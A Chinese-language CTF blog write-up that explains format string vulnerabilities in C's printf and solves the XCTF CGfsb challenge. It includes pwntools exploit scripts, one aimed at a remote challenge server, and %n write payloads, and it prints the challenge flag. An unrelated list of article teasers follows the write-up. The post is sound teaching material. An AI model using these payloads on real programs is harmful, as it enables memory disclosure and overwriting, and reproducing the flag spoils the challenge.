CTF PWN-攻防世界CGfsb格式化字符串漏洞

文章目录

  • 前言
  • 格式化字符串漏洞
    • 格式化字符串
    • 漏洞基本原理
    • 简单典型案例
  • 漏洞的危害与利用
    • 拒绝服务攻击
    • 内存数据读取
    • 内存数据覆盖
  • 攻防世界:CGfsg
    • 题目思路简析
    • 任意地址覆写
  • 总结

前言

距离 2021 年年底短暂接触学习 CTF PWN 相关知识(CTF PWN-攻防世界XCTF新手区WriteUp)已经是快 2 年前的事了,这期间就连攻防世界社区的站点都发生巨大变化了……为了学习终端领域底层漏洞的挖掘和利用技术,继续积累 PWN 相关知识。

格式化字符串漏洞

格式化字符串漏洞从 2000 年左右开始流行起来,几乎在各种软件中都能见到它的身影,随着技术的发展,软件安全性的提升,如今它在桌面端已经比较少见了,但在物联网设备 IoT上依然层出不穷。在 Huawei 终端安全公告 2023 年 7 月 还发布了一个相关 CVE 案例:
在这里插入图片描述

格式化字符串

先来了解些基础知识,什么是格式化字符串?

C 语言中有一个非常常用的用于向屏幕输出字符的函数:printf。printf 的第 1 个参数是字符串,被称为 格式化字符串。程序员可以在该字符串中使用 %d、%s、%c 等占位符,printf 将依据这些占位符和其他参数整合出一个完整的字符串并输出。
在这里插入图片描述
格式控制字符的类型

在 printf 中会根据类型对应的格式去栈中读取对应大小的数据,如果读取不到,就会把栈数据泄露出来了(这也是后面要讲的格式化漏洞的原理)。
在这里插入图片描述

这里的 %n 要注意记一下,格式化字符串漏洞利用的时候会用到,%x、%p 在打印内存地址的时候也非常常用,%s 则用于打印字符串。

常见的格式化字符串函数

实际上格式化字符串函数不仅仅 printf 函数一个,还包括以下常见成员:
在这里插入图片描述
printf 是我们使用最多的一个函数,其功能为把格式化之后的字符串输出到标准输出流中。所有 printf 函数族的返回值是:写入字符串成功返回写入的字符总数,写入失败则返回一个负数。

int sprintf(char * _s,const char* _format,...)

sprintf 功能与 printf 类似,不过它是将字符串格式化输出到它的第一个参数所指定的字符串数组中。由于它是输出到字符数组,所以会存在数组大小不足或者传递参数非法(后面要学的格式化漏洞),导致格式化后的字符溢出,任意内存读写,堆栈破坏被修改返回地址等,所以推荐使用 snprintf 函数来代替这个不安全的函数(但这样子漏洞就不好挖了 hh)。

关于更多 printf 函数族的格式和用法介绍,请参考:C 库函数 - printf()_菜鸟教程、PWN学习之格式化字符串漏洞 Linux篇,此处不再展开。

漏洞基本原理

此处借助知乎大佬的文章 CTFer成长日记11:格式化字符串漏洞的原理与利用,个人认为对格式化字符串漏洞的原理讲得很清晰。

先仔细观察以下代码及其运行结果:在这里插入图片描述在这里插入图片描述

  1. 对于第一段 printf 代码,函数会将占位符 %d 更换为 a 变量的值并输出,最终的输出结果合情合理:The value of a is 10;
  2. 但是对于第二段 printf 代码,虽然我们没有提供任何参数,printf 却还是向我们输出了一个值,而且这个值非常诡异。

那这个值是从哪来的呢?我们又能利用这个值做些什么呢?

格式化字符串漏洞原理

之所以会出现上面的现象,主要是因为 printf 不会检查格式化字符串中的占位符是否与所给的参数数目相等。而在 printf 输出的过程中,每遇到一个占位符,就会到 “约定好” 的位置获取数据并根据该占位符的类型解码并输出。

那什么是“约定好”的位置呢?我们先来看上面第一段 printf 代码(提供了参数 a 的代码)中的 printf 是如何访问实参的:
在这里插入图片描述
如上图所示,当 printf 希望访问实参时,按照 C 语言函数调用栈的规则,父函数会将实参倒序压入栈中,并且第一个参数与子函数的 return_address 相邻。因此 printf 知道第一个实参(此处第一个实参为字符串" The value of a is %d\n" 的地址)位于:ebp + 2 * sizeof(word);同理,第二个实参(此处第二个实参为整数 10)位于:ebp + 3 * sizeof(word)

我们再来看上面第二段 printf 代码(未提供参数 a 的代码):
在这里插入图片描述
在执行这行代码时,由于我们没有提供第二个参数 a,因此父函数只将第一个参数压入了栈中,而其上方则是其他数据。可 printf 并不知道这件事,它仍然以为调用它的父函数会按照约定将需要的参数全部压入栈中。因此,当 printf 希望访问第二个参数时,它仍然傻乎乎地认为首地址为 ebp + 3 * sizeof(word) 的字是第二个参数。这时,它输出的数据就是栈上的其他数据。

综上可以看出,格式化字符串漏洞的基本原理:如果用户通过可控数据源向 printf 函数族传递非法数据,使得格式字符串所要求的参数个数和实际的参数数量不匹配,将导致发生栈溢出漏洞,可被用于任意内存读写,堆栈破坏,返回地址被修改等。

简单典型案例

单凭上面的案例可能还不足以清晰了解格式化字符串的漏洞场景,下面再来看看相关的典型案例。

//gcc test.c -o test -m64
#include <stdio.h>
int main()
{
    char a[100];
    scanf("%s",a);
    printf(a);
    return 0;
}

以上代码便存在典型的格式化字符串漏洞,从外部接受一个字符串然后不做任何过滤直接输出。如果我们输入 AAAA%x-%x-%x-%x-%x-%x,则可以通过 n 个 %x 越界读取 n 个 8 字节的内存数据,造成数据泄露:
在这里插入图片描述
如上是我在 VS Code 运行的结果,成功获取到了多段内存数据,其中 41414141 是我们输入的 AAAA 字符串的十六进制 ASCII 编码(十进制的 65),实际上我们也可以借此确定用户所输入的 AAAA 字符串在栈中的偏移为 4(后续格式化字符串漏洞利用的时候会用到)。

漏洞的危害与利用

介绍完格式化字符串的基本概念和格式化字符串漏洞的基本原理,下面就开始步入正题,来学习下格式化字符串的具体危害和利用方法。

拒绝服务攻击

对于存在格式化字符串漏洞的程序,攻击者可以使用多个 %s 作为格式化字符串函数(例如 printf )的 format 来使程序崩溃。

触发崩溃的基本原理:%s通过将对应参数的内容作为字符串首地址进行解析,当访问的地址处于保护或是非法地址时,出于 Linux 内核的保护机制会造成崩溃,使进程收到 SIGSEGV 信号。

#include <stdio.h>

int main(void)
{
    char test[128];
    while (1)
    {
        scanf("%s", test);
        printf(test);   
    }
    return 0;
}

如下图,本人在 VSCode 运行上述代码,输入正字符串时程序正常重复打印所输入的内容,但是在输入 %s-%s-%s-%s-%s-%s 时立马触发程序异常崩溃:
在这里插入图片描述

内存数据读取

这个很简单,实际上在上面 ”简单典型案例“ 当中也已经给出了案例。此处再给出另外一个样式的案例加深认知吧哈哈。

//关闭canary保护,开启栈可执行编译
//gcc -fno-stack-protector -z execstack test.c -o test
#include <stdio.h>

int main()
{
    printf("%s %d %s %08x %08x %08x","Hello World!",233,"\n");
    return 0;
}

如上所示的代码,格式化字符串所需要的参数数量为 6 个,但是只传递了 3 个,显然存在格式化字符串漏洞。所成功读取到的其他内存数据如下所示(%08x的意思是,宽度为 8,不足 8 的数据用 0 填充):
在这里插入图片描述

获取栈变量数值

从上面的漏洞原理可以看到,如果用户可以控制格式化参数,那么就可以读取栈上的任意内容。但是向上面一样利用 n 个 %x 利用起来很麻烦, printf 中有一个$操作符。这个操作符可以输出指定位置的参数,利用 %n$x 这样的字符串就可以获得对应的第 n+1 个参数的数值(因为格式化参数里边的 n 指的是格式化字符串对应的第 n 个输出参数,那么相对于输出函数来说就成了第 n+1 个)。
在这里插入图片描述
上面我在 Kali Linux 中已经演示了通过 AAAA%6$x 获得栈中偏移量为 6 的数据(即输入的 AAAA)。

获取栈变量字符串

%n$s (只是把 %n$x 中的 type 改为s即可)
%17$s

此处直接借助网上的案例:下面第17个参数位置这里是个字符串,可以打印。
在这里插入图片描述
在这里插入图片描述

栈数据读取总结

  1. %nx 或者 %p,来按顺序泄漏栈数据;
  2. %s 获取变量地址内容,遇零截断;
  3. %nx%n$s,获取指定第 n 个参数的值或字符串。

任意地址读取

读取栈内数据不是我们的最终目标,我们希望能进一步读取任意地址的数据,来窃取敏感信息。那么格式化字符串漏洞能否做到这点?答案是肯定的。

攻击者使用 %s 格式化字符串时,可以泄露参数(指针)所指向内存地址,并解析成字符串,直到遇到 NULL 为止。如果攻击者可以操纵此参数(指针)的值,那么就能达到泄露任意内存地址。

任意地址内存泄漏的核心原理:就是用 %s 去读你输入的十六进制格式地址的内存(ps:这其实并不算任意地址内存泄漏,测试发现如果内存中一开始就是 0,那直接就截断了)。

漏洞主要利用的步骤:

  1. 确定格式化字符串漏洞受控参数在栈中的偏移量 n;
  2. 确定你需要读内存的地址 target_address,比如 /x01/x02/x03/x04 ;
  3. 将目标地址 target_address 写入 printf 函数栈中 %n$s,然后通过 printf 打印即可。

下面用一个例子来实践下,目标是用 pwntools 打印出 flag:

#include <stdio.h>
char *flag="flag{Pwn_Caiji_Xiao_fen_dui}\n";

int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

明显的存在格式化字符串漏洞,因为没有过滤用户输入数据,并且直接用 printf 打印。

首先确定出 char s[100] 在第 2 个 printf 用 %s 解析时候,在栈中是第几个参数?通过前面教的 AAAA%08x-%08x-%08x-%08x-%08x-%08x爆破,当解析到 AAAA 相应的 ASCII 码即可确定该位置,由此可以确定的是此处该值为 6:
在这里插入图片描述
接着来构造 Payload,上面已经确定参数位置,那就可以构造 %6$s,接下来需要把 AAAA 替换成我们要打印内存的地址,这里要打印 flag 符号,(可以用 readelf -s "fine_name" 来看看 flag 符号名):
在这里插入图片描述

就是叫 flag,那么可以用 pwntools 的 pwnlib.elf 模块来获取符号名的偏移,具体代码如下:

leakmemory = ELF("./leakmemory")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag']

那么最后构造的 Payload 如下:

Payload = p32(flag_offset) + b'%6$s'

写出 exp,打印出 flag:

#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程
p = process("./test")
#解析ELF
leakmemory = ELF("./test")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag'] #如果要泄漏got表可以改成 leakmemory.got['printf']等函数名.
#构造Payload
Payload = p32(flag_offset) + b'%6$s'
#发送Payload
print("[+] 发送Payload:")
p.sendline(Payload)
print(Payload)
#接受返回数据
print("[+] 接受数据:")
print(p.recvline())
flag = p.recv()
flag = u32(flag[4:8])
print("flag地址:{0}".format(hex(flag)))
#打印flag
print("[+] flag如下:")
print("")
#读取leakmemory中flag内存
print(leakmemory.read(flag,30))

运行效果(本人没运行成功):
在这里插入图片描述

内存数据覆盖

此前我们都是利用漏洞获取程序中的数据,那我们能否向程序中写入数据呢?答案是肯定的。

向目标地址写入数据需要用到一个特殊的占位符 %n,它的功能是:将该占位符之前成功输出的字节数写入目标地址中。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	int a = 1;
	printf("0123456789%n\n", &a);
	printf("The value of a is %d", a);
	return 0;
}

运行结果:
在这里插入图片描述
可以看到,a 的值被修改为了 10。这是因为 printf("0123456789%n\n", &a)%n 前已经成功输出了 “0123456789” 共计 10 个字节,因此 %n 便会将 10 写入目标地址中。

可以看到,%n 会将其对应的参数作为地址解析。因此只要我们向栈上写入目标地址,再使用 %n 即可向目标地址写入数据。

值得注意的是,若将上述代码改为:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	int a = 1;
	char b = 'b';
	printf("%20c%n", b, &a);
	printf("The value of a is %d", a);
	return 0;
}

这时 a 的值将变为20,这是因为 %20c 在字符 b 的左侧填充了 19 个空格,再加上 b 本身是一个字节,共计 20 个字节。
在这里插入图片描述
也就是说,当我们需要写入的数据(假定为 k + 1)特别大时,可以使用 %kc%n 代替。

任意地址覆盖

覆写栈内数据不是我们的最终目标,我们希望能进一步覆写任意地址的数据,来修改程序逻辑实现任意代码执行。那么格式化字符串漏洞能否做到这点?答案是肯定的。

任意地址内存写(覆盖)的原理其实就是堆栈写(栈数据覆盖)的加强版,在堆栈写里面我们已经可以覆盖要覆盖的变量了,任意地址覆盖其实就同上面栈数据覆盖一样,控制所需要覆盖的地址即可。

具体案例参见下文要讲述的攻防世界实例——CGfsg。

攻防世界:CGfsg

攻防世界XCTF 不知道什么时候做了 UI 变更,现在本人按照 PWN 的“引导模式”(记得以前是“新手区”)进行训练:
在这里插入图片描述

题目思路简析

来看看今天练习的题目 CGfsg:
在这里插入图片描述
下载附件是个 32 位的 elf 文件,未开启 PIE 程序内存加载基地址随机化保护机制(即静态反汇编的地址可以直接使用):
在这里插入图片描述
在 Kali 中运行如下:
在这里插入图片描述
该可执行程序的执行逻辑:让我们输入一个名字、一段信息,然后输出了欢迎话语并打印了我们输入的信息,接着就结束并退出。

拖进 IDA Pro,通过 F5 直接查看程序的 C 伪代码:
在这里插入图片描述
不难看出整段代码的大致含义:

  1. 接收由用户输入字符串 buf 和 s,依次作为名字和信息进行打印;
  2. 注意如果 pwnme == 8 这个条件满足,则执行 system(“cat flag”) 输出我们想要的目标信息 flag 值;

双击跟进 pwnme 可以发现这是 bss 段上的全局变量:
在这里插入图片描述
而基于上面的基础知识积累,我们应该都能快速看出来图中圈出来的 printf(s) 代码存在格式化字符串漏洞。

那么这道题的解题思路就很清晰了:借助格式化字符串漏洞,实现任意地址写,篡改 pwnme 全局变量的值并令其等于 8,即可获得 Flag。

任意地址覆写

格式化字符串漏洞的任意地址覆写的利用步骤跟任意地址读取的利用步骤类似:

  1. 确定格式化字符串漏洞受控参数在栈中的偏移量 n;
  2. 确定你需要读内存的地址 target_address,比如 /x01/x02/x03/x04 ;
  3. 将目标地址 target_address 写入 printf 函数栈中 %n$s,最后通过特殊的占位符 %n 写入目标数值即可。

那就先来确定第一个核心数据:存在格式化字符串漏洞的受控参数 s 在 printf 函数的栈上的偏移量。

在传递的 message 输入 AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x ,可以确定此处的偏移值为 10:
在这里插入图片描述
然后是确定目标全局变量 pwnme 的地址 target_address 了,上面 IDA 截图已经给出了是 0x0804A068,由于没有 PIE 保护,所以 IDA 所展示的地址即是程序运行时所用的地址。

至此为止,完成任意地址覆写所需要的两个核心数据均已确定,那么 Payload 也可以确定下来了:

p32(0x0804A068) + '%4c%10$n'
或者
p32(0x0804A068) + "aaaa" + '%10$n'

解释下上述 Payload 的组成原理:

  1. 特殊的占位符 %n 的作用前面说过,可以将该占位符之前成功输出的字节数写入目标地址中,而 '%10$n' 对应的是 printf 函数栈上偏移量为 10 的位置,也就是外部可控参数 s 的位置;
  2. 对于addr%k$n:其意思是在地址为 addr、偏移量(相对于我们输入处的)为 k 的位置,写入前面若干个字符串长度的值,所以上述 Payload 就是向 0x0804A068 地址偏移量为 10 的位置处写入数据;
  3. p32(0x0804A068)会输出四个字节,%4c"aaaa" 也会输出 4 个字节(作用就是为了凑够 8 个字节),所以 pwnme 所在的空间内容就被更改为之前所输出的字符数量 8。

综上,最终的 exp 程序如下:

from pwn import *

p = remote('61.147.171.105', 59715)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a'*0x4 + b'%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()

运行结果:
在这里插入图片描述
提交 Flag(cyberpeace{ca8f52e340e60a6975707feaabf0e396}),答题结束:
在这里插入图片描述

But 攻防世界的在线场景时常创建不成功(这Bug无言以对…),可以本地 Kali 虚拟机试下:

from pwn import *

sh = process("./CGfsb")
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr)+ b"aaaa" + b'%10$n'
sh.recvuntil("please tell me your name:")
sh.sendline("aaa")
sh.recvuntil("leave your message please:")
sh.sendline(payload)
sh.interactive()

成功借助格式化字符串漏洞读取自己创建的 Flag:
在这里插入图片描述

总结

总结来说,格式化字符串漏洞的成因在于 printf/sprintf/snprintf 等格式化打印函数接受可变参数,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),就会存在格式化字符串漏洞。此类漏洞的危害巨大,不仅仅可以使得程序崩溃,还可以实现任意地址读写,甚至代码执行。

本文参考文章:

  1. PWN学习之格式化字符串漏洞 Linux篇;
  2. 格式化字符串详解;
  3. 一文读懂 格式化字符串漏洞;
  4. Linux Pwn - 整数溢出与格式化字符串漏洞;
  5. CTFer成长日记11:格式化字符串漏洞的原理与利用;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/48102.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

光伏储能行业MES系统解决方案

万界星空科技光伏储能行业mes解决方案连接起仓储物流、生产计划、制程管理、品质管理等各个模块&#xff0c;覆盖全厂的各个工序段&#xff0c;提供计划的执行、跟踪以及所有资源(人、设备、物料等)的当前状态&#xff0c;帮助企业实现产品质量、生产效率的提升。 万界星空平台…

灵雀云Alauda MLOps 现已支持 Meta LLaMA 2 全系列模型

在人工智能和机器学习领域&#xff0c;语言模型的发展一直是企业关注的焦点。然而&#xff0c;由于硬件成本和资源需求的挑战&#xff0c;许多企业在应用大模型时仍然面临着一定的困难。为了帮助企业更好地应对上述挑战&#xff0c;灵雀云于近日宣布&#xff0c;企业可通过Alau…

大数据实时链路备战 —— 数据双流高保真压测 | 京东云技术团队

一、大数据双流建设 1.1 数据双流 大数据时代&#xff0c;越来越多的业务依赖实时数据用于决策&#xff0c;比如促销调整&#xff0c;点击率预估、广告分佣等。为了保障业务的顺利开展&#xff0c;也为了保证整体大数据链路的高可用性&#xff0c;越来越多的0级系统建设双流&…

Leetcode-每日一题【剑指 Offer 66. 构建乘积数组】

题目 给定一个数组 A[0,1,…,n-1]&#xff0c;请构建一个数组 B[0,1,…,n-1]&#xff0c;其中 B[i] 的值是数组 A 中除了下标 i 以外的元素的积, 即 B[i]A[0]A[1]…A[i-1]A[i1]…A[n-1]。不能使用除法。 示例: 输入: [1,2,3,4,5]输出: [120,60,40,30,24] 提示&#xff1a; 所…

UVM重点归纳(快收藏 !)

factory机制 利用工厂机制的一般实现步骤&#xff1a; 1.继承 范式&#xff1a; class comp_type/obj_type extends uvm_component/uvm_object; 实例&#xff1a; class comp1/obj1 extends uvm_component/uvm_object; 2.注册 范式&#xff1a; uvm_component/object_utils…

组件开发系列--Apache Commons Chain

一、前言 Commons-chain是apache commons中的一个子项目,主要被使用在"责任链"的场景中,struts中action的调用过程,就是使用了"chain"框架做支撑.如果你的项目中,也有基于此种场景的需求,可以考虑使用它. 在责任链模式里&#xff0c;很多对象由每一个对象对…

Python中运行取消Python console模式

在Python里run的时候突然会发现&#xff0c;进入的不是run模式&#xff0c;而是console模式&#xff0c;这种运行模式能保留你每次的运行历史&#xff0c;因为会重开一个运行小页面&#xff0c;关闭操作如下&#xff1a;

opencv-18 什么是色彩空间?

1.什么是色彩空间类型&#xff1f; 色彩空间类型&#xff0c;也称为颜色空间类型或色彩模型&#xff0c;是一种表示图像中颜色的方式。在计算机图形学和数字图像处理中&#xff0c;有许多种色彩空间类型&#xff0c;每种类型有不同的表达方式和特点。 常见的色彩空间类型包括&a…

虹科新闻 | 虹科与Berghof正式建立合作伙伴关系

近日&#xff0c;虹科与德国Berghof公司达成战略合作&#xff0c;虹科正式成为Berghof Automation在大中华区的认证授权代理商。未来&#xff0c;虹科将携手Berghof一同为机器制造商、系统集成商和工业设备制造商提供先进的解决方案&#xff0c;从而在最小的空间内实现最高的性…

STM32使用HAL库BH1750光照度传感器

开发环境 单片机&#xff1a;STM32F103C8T6 光照度传感器&#xff1a;BH1750 IDE&#xff1a;KEILSTM32CUBEMX 单片机配置 1、STM32CUBEMX BH1750代码 1、头文件 /* ************************************************* BH1750光照数据计算&#xff08;LUX&#xff09; …

React Flow

// 创建项目 npm create vitelatest my-react-flow-app -- --template react // 安装插件 npm install reactflow // 运行项目 npm run dev 1、App.jsx import { useCallback, useState } from react; import ReactFlow, {addEdge,ReactFlowProvider,MiniMap,Controls,useNode…

50条必背JAVA知识点(二)

16.强制类型转换&#xff1a;将容量大的数据类型转换为容量小的数据类型&#xff0c;但可能造成精度降低或溢出。 17.字符串不能直接转换为基本类型&#xff0c;但通过基本类型对应的包装类则可以实现把字符串转换成基本类型。 18.计算机底层都以二进制补码的方式来存储数据。…

图数据库Neo4j学习三——cypher语法总结

1MATCH 1.1作用 MATCH是Cypher查询语言中用于从图数据库中检索数据的关键字。它的作用是在图中查找满足指定条件的节点和边&#xff0c;并返回这些节点和边的属性信息。 在MATCH语句中&#xff0c;通过节点标签和边类型来限定查找范围&#xff0c;然后通过WHERE语句来筛选符合…

解决VScode下载太慢的问题记录

最近突然想重新下载vscoded便携免安装版&#xff0c;发现下载很慢&#xff0c;于是乎查询一下&#xff0c;以便记录 下载地址 VScode官方网站&#xff1a; https://code.visualstudio.com/ 根据个人的需求选择下载&#xff0c;页面加载下载需要等一会&#xff0c; 然后就会…

kotlin高阶函数

kotlin高阶函数 函数式API:一个函数的入参数为Lambda表达式的函数就是函数式api 例子: public inline fun <T> Iterable<T>.filter(predicate: (T) -> Boolean): List<T> {return filterTo(ArrayList<T>(), predicate) }上面这段函数: 首先这个函…

使用EM算法完成聚类任务

EM算法&#xff08;Expectation-Maximization Algorithm&#xff09;是一种基于迭代优化的聚类算法&#xff0c;用于在无监督的情况下将数据集分成几个不同的组或簇。EM算法是一种迭代算法&#xff0c;包含两个主要步骤&#xff1a;期望步骤&#xff08;E-step&#xff09;和最…

态势标绘专题介绍

介绍 这个专栏是专门针对基于Cesium来实现态势标绘的专题专栏,专栏主要实现了30余种态势几何形状的标绘和编辑、文本的标绘和编辑、图片的标绘和编辑以及简单模型的标绘,同时支持标绘结果的导出以及导入。包括最终编写成的一个完整的Vue3.2+TS+Cesium1.107.2的标绘组件。专栏…

Java JVM虚拟机内部体系结构

JVM(Java虚拟机)是一个抽象机器。 它是一个提供可以执行Java字节码的运行时环境的规范。JVM可用于许多硬件和软件平台(即JVM是平台相关的)。 什么是JVM&#xff1f; JVM(Java虚拟机)是&#xff1a; 指定Java虚拟机的工作的规范。 但实现提供程序是独立的选择算法。 其实现是由…

【Hive实战】Hive的压缩池与锁

文章目录 Hive的压缩池池的分配策略自动分配手动分配隐式分配 池的等待超时Labeled worker pools 标记的工作线程&#xff08;自定义线程池&#xff09;Default pool 默认池Worker allocation 工作线程的分配 锁Turn Off ConcurrencyDebuggingConfigurationhive.support.concur…

如何跳出Java中的多层嵌套循环?

在Java中&#xff0c;要跳出多层嵌套循环&#xff0c;可以使用带有标签的break语句。通过在外层循环前加上一个标签&#xff0c;然后在内层循环中使用break语句后跟标签名称&#xff0c;可以实现跳出多层循环的目的。 以下是使用标签和break语句跳出多层嵌套循环的示例代码&…